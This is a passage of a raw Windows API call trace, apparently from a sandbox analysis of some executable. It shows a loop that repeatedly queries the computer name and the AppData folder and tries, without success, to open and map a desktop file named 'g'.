pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.000] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.000] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.000] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.000] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.000] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.000] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.001] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.001] CloseHandle (hObject=0x0) returned 0 [0223.001] CloseHandle (hObject=0xffffffff) returned 1 [0223.001] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.001] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.001] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.001] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.001] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.001] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.001] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.001] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.001] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.001] CloseHandle (hObject=0x0) returned 0 [0223.001] CloseHandle (hObject=0xffffffff) returned 1 [0223.001] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.001] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.001] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.001] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.001] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.001] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.002] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.002] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.002] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.002] CloseHandle (hObject=0x0) returned 0 [0223.002] CloseHandle (hObject=0xffffffff) returned 1 [0223.002] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.002] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.002] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.002] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.002] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.002] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.002] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.002] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.002] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.002] CloseHandle (hObject=0x0) returned 0 [0223.002] CloseHandle (hObject=0xffffffff) returned 1 [0223.002] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.002] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.002] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.002] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.002] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.003] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.003] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.003] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.003] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.003] CloseHandle (hObject=0x0) returned 0 [0223.003] CloseHandle (hObject=0xffffffff) returned 1 [0223.003] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.003] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.003] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.003] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.003] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.003] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.003] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.003] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.003] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.003] CloseHandle (hObject=0x0) returned 0 [0223.003] CloseHandle (hObject=0xffffffff) returned 1 [0223.003] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.003] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.003] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.003] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.004] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.004] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.004] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.004] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.004] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.004] CloseHandle (hObject=0x0) returned 0 [0223.004] CloseHandle (hObject=0xffffffff) returned 1 [0223.004] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.004] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.004] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.004] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.004] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.004] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.004] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.004] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.004] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.004] CloseHandle (hObject=0x0) returned 0 [0223.004] CloseHandle (hObject=0xffffffff) returned 1 [0223.004] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.005] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.005] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.005] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.005] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.005] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.005] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.005] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.005] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.005] CloseHandle (hObject=0x0) returned 0 [0223.005] CloseHandle (hObject=0xffffffff) returned 1 [0223.005] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.005] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.005] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.005] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.005] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.005] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.005] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.005] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.005] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.005] CloseHandle (hObject=0x0) returned 0 [0223.005] CloseHandle (hObject=0xffffffff) returned 1 [0223.006] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.006] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.006] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.006] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.006] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.006] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.006] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.006] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.006] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.006] CloseHandle (hObject=0x0) returned 0 [0223.006] CloseHandle (hObject=0xffffffff) returned 1 [0223.006] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.006] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.006] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.007] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.007] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.007] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.007] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.007] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.007] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.007] CloseHandle (hObject=0x0) returned 0 [0223.007] CloseHandle (hObject=0xffffffff) returned 1 [0223.007] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.007] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.007] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.007] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.007] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.007] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.007] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.007] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.007] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.007] CloseHandle (hObject=0x0) returned 0 [0223.007] CloseHandle (hObject=0xffffffff) returned 1 [0223.007] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.008] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.008] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.008] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.008] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.008] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.008] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.008] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.008] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.008] CloseHandle (hObject=0x0) returned 0 [0223.008] CloseHandle (hObject=0xffffffff) returned 1 [0223.008] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.008] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.008] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.008] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.008] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.008] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.008] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.008] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.008] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.009] CloseHandle (hObject=0x0) returned 0 [0223.009] CloseHandle (hObject=0xffffffff) returned 1 [0223.009] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.009] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.009] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.009] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.009] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.009] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.009] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.009] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.009] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.009] CloseHandle (hObject=0x0) returned 0 [0223.009] CloseHandle (hObject=0xffffffff) returned 1 [0223.009] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.009] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.009] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.009] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.009] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.009] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.009] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.010] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.010] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.010] CloseHandle (hObject=0x0) returned 0 [0223.010] CloseHandle (hObject=0xffffffff) returned 1 [0223.010] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.010] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.010] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.010] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", 